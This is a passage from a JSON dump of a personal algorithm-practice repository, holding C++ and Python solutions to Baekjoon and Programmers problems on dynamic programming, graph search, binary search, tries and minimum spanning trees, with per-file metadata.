\"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 9461번: 파도반 수열\\nDATE: 2021-05-28\\nDynamic programming\\n*/\\n#include <iostream>\\n#define MAX 101\\nusing namespace std;\\nlong long dp[MAX];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int tc;\\n cin >> tc;\\n\\n dp[1] = dp[2] = dp[3] = 1;\\n\\n for(int i = 4 ; i < MAX ; i++){\\n dp[i] = dp[i - 2] + dp[i - 3];\\n }\\n\\n for(int i = 0 ; i < tc ; i++){\\n int num;\\n cin >> num;\\n cout << dp[num] << '\\\\n';\\n }\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.42935678362846375,\n \"alphanum_fraction\": 0.44310060143470764,\n \"avg_line_length\": 22.636363983154297,\n \"blob_id\": \"be1b981790c5224ffc9a152c08994a9a24676b68\",\n \"content_id\": \"a0b77c5aa3559f638f40052a83678aa024380d46\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1819,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 77,\n \"path\": \"/programmers/Level 3/bad_user.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 3 : Bad user\\n//2019 KAKAO Winter Internship\\n//2021-05-08\\n#include <string>\\n#include <vector>\\n#include <set>\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\nvector<vector<int>> v;\\nset<set<int>> s;\\n\\nvoid dfs(int depth, vector<int> list){\\n if(depth == v.size()){\\n set<int> tmp;\\n for(int i = 0 ; i < list.size() ; i++){\\n tmp.insert(list[i]);\\n }\\n s.insert(tmp);\\n return ;\\n }\\n\\n for(int i = 0 ; i < v[depth].size() ; i++){\\n auto it = find(list.begin(), list.end(), v[depth][i]);\\n if(it != list.end()){\\n continue;\\n }\\n list.push_back(v[depth][i]);\\n dfs(depth + 1, list);\\n list.pop_back();\\n }\\n}\\n\\nint solution(vector<string> user_id, vector<string> banned_id) {\\n int answer = 0;\\n vector<int> tmp;\\n bool flag;\\n \\n for(int i = 0 ; i < banned_id.size() ; i++){\\n for(int j = 0 ; j < user_id.size() ; j++){\\n if(user_id[j].length() != banned_id[i].length())\\n continue;\\n\\n flag = true;\\n \\n for(int k = 0 ; k < banned_id[i].length() ; k++){\\n if(banned_id[i][k] != '*'){\\n if(banned_id[i][k] != user_id[j][k]){\\n flag = false;\\n break;\\n }\\n }\\n }\\n \\n if(flag){\\n tmp.push_back(j);\\n }\\n }\\n v.push_back(tmp);\\n tmp.clear();\\n }\\n\\n dfs(0, tmp);\\n answer = s.size();\\n\\n return answer;\\n}\\n\\nint main(){\\n vector<string> user_id = {\\\"frodo\\\", \\\"fradi\\\", \\\"crodo\\\", \\\"abc123\\\", \\\"frodoc\\\"};\\n vector<string> banned_id = {\\\"fr*d*\\\", \\\"*rodo\\\", \\\"******\\\", \\\"******\\\"};\\n\\n int ans = solution(user_id, banned_id);\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.39732685685157776,\n \"alphanum_fraction\": 0.449574738740921,\n \"avg_line_length\": 17.727272033691406,\n \"blob_id\": \"bc035ecb810f36d1b4961af2a2b9133fd2bccbf6\",\n \"content_id\": \"9e6ad5e9ea90b8c5aa93ba4dd56cc167662e58e8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 833,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 44,\n \"path\": \"/BOJ/Binary Search/3079.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 3079번: 입국심사\\nDATE: 2021-03-21\\nBinary Search\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n#define MAX 1000000000000000000\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n long long n, m, total, start, end, mid;\\n long long min = MAX;\\n cin >> n >> m;\\n\\n int time[n];\\n for (int i = 0; i < n; i++) {\\n cin >> time[i];\\n }\\n\\n sort(time, time + n);\\n end = m * time[n - 1];\\n\\n while (end - start >= 0) {\\n mid = (start + end) / 2;\\n total = 0;\\n for (int i = 0; i < n; i++) {\\n total += mid / time[i];\\n }\\n\\n if (total >= m) {\\n end = mid - 1;\\n if (mid < min) min = mid;\\n }\\n else if (total < m) {\\n start = mid + 1;\\n }\\n }\\n\\n cout << min;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4460028111934662,\n \"alphanum_fraction\": 0.47124823927879333,\n \"avg_line_length\": 17.063291549682617,\n \"blob_id\": \"4eebfcc40dd3ea7ce791a168476288821034b7bb\",\n \"content_id\": \"305b2dd7d0294e69848afb8bc91ab651a1c0391e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1562,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 79,\n \"path\": \"/BOJ/Graph Theory/5052.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 5052번: 전화번호 목록\\nDATE: 2021-03-29\\n*/\\n#include <iostream>\\n#include <string>\\n#include <cstring>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nstruct Trie {\\n\\tTrie* next[10];\\n\\tbool finish;\\n\\tbool nextChild;\\n\\n\\tTrie() {\\n\\t\\tfill(next, next + 10, nullptr);\\n\\t\\tfinish = nextChild = false;\\n\\t}\\n\\n\\tvoid insert(char* key) {\\n\\t\\tif (*key == '\\\\0') { //입력 끝\\n\\t\\t\\tfinish = true;\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\tint now = *key - '0';\\n\\n\\t\\t\\tif (next[now] == NULL) //연결된 노드 없을 때\\n\\t\\t\\t\\tnext[now] = new Trie(); \\n\\t\\t\\tnextChild = true;\\n\\n\\t\\t\\tnext[now]->insert(key + 1); //다음 문자열로 넘어감\\n\\t\\t}\\n\\t}\\n\\n\\tbool find(char* key) {\\n\\t\\tif (*key == '\\\\0') //노드가 생성되지 않은 경우\\n\\t\\t\\treturn false;\\n\\t\\tif (finish) //존재하는 문자열일 경우\\n\\t\\t\\treturn true;\\n\\t\\tint now = *key - '0';\\n\\t\\treturn next[now]->find(key + 1); //다음 문자열로 넘어감\\n\\t}\\n};\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int t, n;\\n cin >> t;\\n\\n for(int i = 0 ; i < t ; i++){\\n bool check = false;\\n char num[10001][11];\\n\\n cin >> n;\\n Trie* trie = new Trie();\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> num[i];\\n trie->insert(num[i]);\\n }\\n \\n for(int i = 0 ; i < n ; i++){\\n if(trie->find(num[i])){ //해당 번호가 접두어로 존재\\n check = true;\\n break;\\n }\\n }\\n \\n if(check) \\n cout << \\\"NO\\\\n\\\";\\n else\\n cout << \\\"YES\\\\n\\\";\\n\\n delete trie;\\n }\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.44581618905067444,\n \"alphanum_fraction\": 0.49108368158340454,\n \"avg_line_length\": 16.380952835083008,\n \"blob_id\": \"ff15bbc8b33dd0e7ce3da98c39239c2dd3ae31e6\",\n \"content_id\": \"822908729222c9415362eeeab97b7472f98aa0ee\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 785,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 42,\n \"path\": \"/BOJ/BFS_DFS/16953.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 16953번: A → B\\nDATE: 2022-03-13\\n-\\nx * 2 연산과 y * 10 + 1 연산 중 중복이 발생할 수 없으므로 방문 체크 안 해줘도 됨\\n*/\\n#include <iostream>\\n#include <queue>\\n#define ll long long\\nusing namespace std;\\n\\nll a, b;\\nint cnt;\\n\\nvoid bfs(ll a){\\n queue<pair<ll,ll>> q;\\n q.push({a, 1});\\n\\n while(!q.empty()){\\n pair<ll,ll> cur = q.front();\\n q.pop();\\n\\n if(cur.first == b) {\\n cout << cur.second;\\n return;\\n }\\n\\n if(cur.first * 2 <= b) q.push({cur.first * 2, cur.second + 1});\\n if(cur.first * 10 + 1 <= b) q.push({cur.first * 10 + 1, cur.second + 1});\\n }\\n\\n cout << -1;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> a >> b;\\n\\n bfs(a);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4637801945209503,\n \"alphanum_fraction\": 0.487926721572876,\n \"avg_line_length\": 20.464284896850586,\n \"blob_id\": \"b4ab02b281fcdd8a6dc79dfbf571df974b6b6d6a\",\n \"content_id\": \"1baf0cd6209d654a0e90d9ce0c3cd7f78bf80340\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1267,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 56,\n \"path\": \"/BOJ/Binary Search/2568.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2568번: 전깃줄 - 2\\nDATE: 2022-02-24\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nvector<int> inputA, inputB, lis, index;\\n\\nvoid backtrace(int i, int num){\\n if(i == -1) return;\\n if(index[i] == num){\\n inputA[i] = -1; // 가장 긴 증가하는 부분 수열에 해당하는 인덱스는 -1로 처리\\n backtrace(i - 1, num - 1);\\n }\\n else backtrace(i - 1, num);\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n vector<pair<int,int>> p;\\n int n, a, b;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> a >> b;\\n p.push_back({a, b});\\n }\\n\\n sort(p.begin(), p.end());\\n \\n for(int i = 0 ; i < n ; i++){\\n inputA.push_back(p[i].first); // A 전봇대\\n inputB.push_back(p[i].second); // B 전봇대\\n\\n int num = p[i].second;\\n int idx = lower_bound(lis.begin(), lis.end(), num) - lis.begin();\\n\\n if(lis.empty() || num > lis.back()) lis.push_back(num);\\n else lis[idx] = num;\\n\\n index.push_back(idx);\\n }\\n \\n cout << n - lis.size() << '\\\\n';\\n\\n backtrace(n - 1, lis.size() - 1); \\n\\n for(int i = 0 ; i < n ; i++){\\n if(inputA[i] != -1) cout << inputA[i] << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.440559446811676,\n \"alphanum_fraction\": 0.5104895234107971,\n \"avg_line_length\": 20.22222137451172,\n \"blob_id\": \"65ca8a69f6ce46f908676a5326d77365c4856e36\",\n \"content_id\": \"1aa68791ca0a62db75222c89dbd943efcdfa0f3f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 578,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 27,\n \"path\": \"/BOJ/Dynamic Programming/1149.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1149번: RGB거리\\nDATE: 2021-07-27\\nDynamic Programming\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint house[1000][3];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, r, g, b;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> r >> g >> b;\\n house[i][0] = min(house[i-1][1], house[i-1][2]) + r;\\n house[i][1] = min(house[i-1][0], house[i-1][2]) + g;\\n house[i][2] = min(house[i-1][0], house[i-1][1]) + b;\\n }\\n\\n cout << *min_element(house[n-1], house[n-1] + 3);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.38828203082084656,\n \"alphanum_fraction\": 0.4280039668083191,\n \"avg_line_length\": 18.764705657958984,\n \"blob_id\": \"27f808e6858fe8ef891393bf2ca6487502ba6b6f\",\n \"content_id\": \"c5c2982ab287839364627b81326a40791bb28112\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1117,\n \"license_type\": \"no_license\",\n \"max_line_length\": 93,\n \"num_lines\": 51,\n \"path\": \"/BOJ/BFS_DFS/13549_1.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 13549번: 숨바꼭질 3\\n2022-01-12\\nBFS ver.\\n*/\\n#include <iostream>\\n#include <queue>\\n#define MAX 100001\\nusing namespace std;\\n\\nint mv[3] = {2, -1, 1};\\nint sec[MAX] = {0, };\\nqueue<int> q;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, k;\\n cin >> n >> k;\\n\\n sec[n] = 1; // 0초로 두고 시작하면 이미 방문했어도 방문하지 않은 것으로 판단된다. 따라서 초깃값을 1로 설정하고 답을 출력할 때 -1 해주는 것.\\n q.push(n);\\n\\n while(!q.empty()){\\n int cur = q.front();\\n int next;\\n q.pop();\\n\\n if(cur == k){\\n cout << sec[cur] - 1;\\n break;\\n }\\n\\n for(int i = 0 ; i < 3 ; i++){\\n bool flag = true;\\n\\n if(i > 0) { \\n next = cur + mv[i];\\n flag = false;\\n }\\n else next = cur * mv[i];\\n\\n if(next < 0 || next > MAX - 1 || sec[next]) continue;\\n \\n q.push(next);\\n if(!flag) sec[next] = sec[cur] + 1;\\n else sec[next] = sec[cur];\\n } \\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.47770699858665466,\n \"alphanum_fraction\": 0.5133758187294006,\n \"avg_line_length\": 16.086956024169922,\n \"blob_id\": \"b6136135881989d79f3525e9750306033c57a1ee\",\n \"content_id\": \"d314c92319021f5f957f26bb667450177eced66b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 801,\n \"license_type\": \"no_license\",\n \"max_line_length\": 59,\n \"num_lines\": 46,\n \"path\": \"/BOJ/Mathematics/1990.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1990번: 소수인팰린드롬\\n2021-12-26\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#include <math.h>\\nusing namespace std;\\n\\nbool isPrime(int num) {\\n if(num < 2) return false;\\n\\n for(int i = 2 ; i <= sqrt(num) ; i++) {\\n if(num % i == 0) return false;\\n }\\n\\n return true;\\n}\\n\\nbool isPalindrome(string str) {\\n string front, back;\\n \\n front = str;\\n reverse(str.begin(), str.end());\\n back = str;\\n\\n if(front == back) return true;\\n else return false;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n int a, b;\\n cin >> a >> b;\\n\\n for(int i = a ; i <= 10000000 ; i++) {\\n if(i > b) break;\\n if(isPalindrome(to_string(i)) && isPrime(i)) {\\n cout << i << '\\\\n';\\n }\\n }\\n\\n cout << -1;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.38199180364608765,\n \"alphanum_fraction\": 0.425648033618927,\n \"avg_line_length\": 16.4761905670166,\n \"blob_id\": \"02f888ae83c3943ccc4f27eac21e47990006735b\",\n \"content_id\": \"07b16f786047a93d889d56eaebe4527bb8d599b8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 743,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 42,\n \"path\": \"/BOJ/BFS_DFS/2644.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2644번: 촌수계산\\nDATE: 2021-10-18\\nDFS\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint n, a, b, answer = -1;\\nint arr[100][100];\\nbool visited[100] = {false,};\\n\\nvoid dfs(int node, int length) {\\n visited[node] = true;\\n\\n for(int i = 1 ; i <= n ; i++) {\\n if(arr[node][i] == 1 && !visited[i]) {\\n if(i == b) {\\n answer = length;\\n return;\\n }\\n dfs(i, length + 1);\\n }\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int m;\\n cin >> n >> a >> b >> m;\\n\\n for(int i = 0 ; i < m ; i++) {\\n int x, y;\\n cin >> x >> y;\\n arr[x][y] = arr[y][x] = 1;\\n }\\n\\n dfs(a, 1);\\n cout << answer;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.34279918670654297,\n \"alphanum_fraction\": 0.36916837096214294,\n \"avg_line_length\": 17.62264060974121,\n \"blob_id\": \"9079c6c8f5be3f0b81661b80672f547157a3c794\",\n \"content_id\": \"ba0ac0f1a8bbfd30177ca8399a2e5487d433dba8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 994,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 53,\n \"path\": \"/BOJ/Binary Search/1920.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//BOJ 1920번: 수 찾기\\n//2021-05-25\\n//Binary Search\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m;\\n bool flag = false;\\n cin >> n;\\n\\n int arr[n];\\n for(int i = 0 ; i < n ; i++){\\n cin >> arr[i];\\n }\\n \\n sort(arr, arr + n);\\n\\n cin >> m;\\n for(int i = 0 ; i < m ; i++){\\n int num;\\n cin >> num;\\n\\n int start = 0;\\n int end = n - 1;\\n int mid = 0;\\n\\n while(start <= end){\\n mid = (start + end) / 2;\\n\\n if(arr[mid] == num){\\n cout << 1 << \\\"\\\\n\\\";\\n flag = true;\\n break;\\n }\\n else if(arr[mid] < num){\\n start = mid + 1;\\n }\\n else if(arr[mid] > num){\\n end = mid - 1;\\n }\\n }\\n\\n if(!flag)\\n cout << 0 << \\\"\\\\n\\\";\\n else\\n flag = false;\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4457399249076843,\n \"alphanum_fraction\": 0.48520180583000183,\n \"avg_line_length\": 17.295082092285156,\n \"blob_id\": \"e527d5d6ba90c532093c58f6bbdaedbf826c8c2b\",\n \"content_id\": \"c815b994b23b2d7f7c342f12614ac6dc4596f3b6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1143,\n \"license_type\": \"no_license\",\n \"max_line_length\": 100,\n \"num_lines\": 61,\n \"path\": \"/BOJ/BFS_DFS/2178.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 2178번: 미로 탐색\\nDATE: 2021-01-19\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\n#define MAX 100\\n\\nusing namespace std;\\nint n, m;\\nint maze[MAX][MAX];\\nint dx[] = { 0, 0, -1, 1 };\\nint dy[] = { -1, 1, 0, 0 };\\nbool visited[MAX][MAX] = { false, };\\n\\nvoid bfs() {\\n\\tqueue<pair<int, int>> q;\\n\\tpair<int, int> p; //현재 위치\\n\\n\\tq.push(make_pair(0, 0));\\n\\tvisited[0][0] = true;\\n\\n\\twhile (!q.empty()) {\\n\\t\\tp = q.front();\\n\\t\\tq.pop();\\n\\n\\t\\tfor (int i = 0; i < 4; i++) {\\n\\t\\t\\tint ny = p.first + dy[i];\\n\\t\\t\\tint nx = p.second + dx[i];\\n\\n\\t\\t\\tif (p.first + dy[i] < 0 || p.first + dy[i] >= n || p.second + dx[i] < 0 || p.second + dx[i] >= m)\\n\\t\\t\\t\\tcontinue;\\n\\t\\t\\tif (nx >= 0 && ny >= 0 && ny < n && nx < m && maze[ny][nx] == 1 && visited[ny][nx] == false) {\\n\\t\\t\\t\\tvisited[ny][nx] = true;\\n\\t\\t\\t\\tq.push(make_pair(ny, nx));\\n\\t\\t\\t\\tmaze[ny][nx] = maze[p.first][p.second] + 1; //거리 구하기\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\\n\\nint main() {\\n\\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\t\\n\\tcin >> n >> m;\\n\\n\\tfor (int i = 0; i < n; i++) {\\n\\t\\tstring str;\\n\\t\\tcin >> str;\\n\\t\\tfor (int j = 0; j < m; j++) {\\n\\t\\t\\tmaze[i][j] = str[j] - '0';\\n\\t\\t}\\n\\t}\\n\\n\\tbfs();\\n\\n\\tcout << maze[n - 1][m - 1];\\n\\n\\treturn 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.37295082211494446,\n \"alphanum_fraction\": 0.44262295961380005,\n \"avg_line_length\": 15.862069129943848,\n \"blob_id\": \"03df31deda58006a312e49617f3ba869773eb86b\",\n \"content_id\": \"4817a15455d1405e2715f560d92b9b2fa533c7e4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 496,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 29,\n \"path\": \"/BOJ/Dynamic Programming/9095.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 9095번: 1, 2, 3 더하기\\nDATE: 2021-05-28\\nDynamic programming\\n*/\\n#include <iostream>\\nusing namespace std;\\nint dp[11];\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int tc;\\n cin >> tc;\\n\\n dp[1] = 1;\\n dp[2] = 2;\\n dp[3] = 4;\\n\\n for(int i = 4 ; i < 11 ; i++){\\n dp[i] = dp[i - 1] + dp[i - 2] + dp[i - 3];\\n }\\n\\n for(int i = 0 ; i < tc ; i++){\\n int num;\\n cin >> num;\\n cout << dp[num] << '\\\\n';\\n }\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.47975707054138184,\n \"alphanum_fraction\": 0.5050607323646545,\n \"avg_line_length\": 17.660377502441406,\n \"blob_id\": \"d2ad3bb5137832edcb54ec62c3d5a581428aa81a\",\n \"content_id\": \"d89e8b7d341250c83556d98657df48286b25b538\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1004,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 53,\n \"path\": \"/BOJ/MST/1197_2.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1197번: 최소 스패닝 트리\\nDATE: 2022-03-02\\nPrim Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#define pii pair<int,int>\\n#define MAX 10001\\nusing namespace std;\\n\\nvector<pii> edge[MAX];\\nbool visited[MAX];\\nint ans;\\n\\nvoid prim(){\\n priority_queue<pii, vector<pii>, greater<pii>> pq;\\n pq.push({0, 1});\\n\\n while(!pq.empty()){\\n int dis = pq.top().first;\\n int cur = pq.top().second;\\n pq.pop();\\n\\n if(visited[cur]) continue; \\n visited[cur] = true;\\n ans += dis;\\n\\n for(int i = 0 ; i < edge[cur].size() ; i++){\\n if(visited[edge[cur][i].second]) continue;\\n pq.push(edge[cur][i]);\\n }\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int v, e;\\n int a, b, c;\\n cin >> v >> e;\\n\\n for(int i = 0 ; i < e ; i++){\\n cin >> a >> b >> c;\\n edge[a].push_back({c, b});\\n edge[b].push_back({c, a});\\n }\\n\\n prim();\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4353582561016083,\n \"alphanum_fraction\": 0.4548286497592926,\n \"avg_line_length\": 20.41666603088379,\n \"blob_id\": \"20d84a663476eb76a8eac1446dd385786cbbb115\",\n \"content_id\": \"5b822af54a25dac1f40e1b168b8a9ba26827ddc0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1388,\n \"license_type\": \"no_license\",\n \"max_line_length\": 97,\n \"num_lines\": 60,\n \"path\": \"/BOJ/Prefix Sum/10800.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 10800번: 컬러볼\\nDATE: 2021-08-05\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nstruct Info{\\n int size;\\n int color;\\n int index;\\n};\\n\\nbool cmp(const Info& a, const Info& b){\\n if(a.size == b.size) return a.color < b.color;\\n return a.size < b.size;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, c, s, idx, sum_size=0;\\n cin >> n;\\n \\n Info info[n];\\n int sum_color[n]= {0,}, ans[n] = {0,};\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> c >> s;\\n info[i].size = s;\\n info[i].color = c - 1;\\n info[i].index = i;\\n }\\n\\n sort(info, info + n, cmp);\\n\\n for(int i = 0 ; i < n ; i++){\\n idx = i;\\n\\n for(int j = idx ; j < n ; j++){ // 같은 크기의 공만큼 idx 증가\\n if(info[i].size == info[j].size) idx++;\\n else break;\\n }\\n\\n for(int j = i ; j < idx ; j++){\\n ans[info[j].index] = sum_size - sum_color[info[j].color]; // 자기 공과 색이 다른 공만 잡을 수 있으므로\\n }\\n\\n for(int j = i ; j < idx ; j++){\\n sum_size += info[j].size; // 전체 크기 누적\\n sum_color[info[j].color] += info[j].size; // 색상 별 크기 누적\\n }\\n\\n i = idx - 1; // 다음 크기로 넘어감\\n }\\n\\n for(int i = 0 ; i < n ; i++) cout << ans[i] << '\\\\n';\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.397082656621933,\n \"alphanum_fraction\": 0.4278768301010132,\n \"avg_line_length\": 20.310344696044922,\n \"blob_id\": \"b505bba62dcef415d430d16dc7c31b431eb9155a\",\n \"content_id\": \"6beabf690cc655a82e9fcc0f2aaae1a7eca9c80b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 627,\n \"license_type\": \"no_license\",\n \"max_line_length\": 36,\n \"num_lines\": 29,\n \"path\": \"/programmers/Level 3/the_farthest_node.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# programmers Level 3: 가장 먼 노드\\n# date: 2022-04-15\\ndef solution(n, edge):\\n graph = [[] for _ in range(n+1)]\\n visited = [False] * (n + 1)\\n d = [[]] * (n + 1)\\n\\n for a, b in edge:\\n graph[a].append(b)\\n graph[b].append(a)\\n \\n queue = []\\n queue.append(1)\\n visited[1] = True\\n d[1] = 0\\n \\n while queue:\\n cur = queue.pop(0)\\n \\n for i in graph[cur]:\\n if not visited[i]:\\n queue.append(i)\\n visited[i] = True\\n d[i] = d[cur] + 1\\n \\n d = d[1:]\\n answer = d.count(max(d))\\n \\n return answer\"\n },\n {\n \"alpha_fraction\": 0.44897958636283875,\n \"alphanum_fraction\": 0.5020408034324646,\n \"avg_line_length\": 15.931034088134766,\n \"blob_id\": \"8f3cbfb8dd7c7180538a8ff1d2b75ee11b2e369c\",\n \"content_id\": \"8cb32525f42dd173621aba6aa10a38e1cf982f7a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 498,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 29,\n \"path\": \"/BOJ/Dynamic Programming/1912.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1912번: 연속합\\nDATE: 2021-07-20\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n long long input[100001];\\n long long n, ans;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> input[i];\\n }\\n\\n ans = input[0];\\n\\n for(int i = 1 ; i < n ; i++){\\n input[i] = max(input[i], input[i] + input[i-1]);\\n ans = max(ans, input[i]);\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3304195702075958,\n \"alphanum_fraction\": 0.3723776340484619,\n \"avg_line_length\": 18.100000381469727,\n \"blob_id\": \"8d744d426e1dc364180a80181865aaae09014e44\",\n 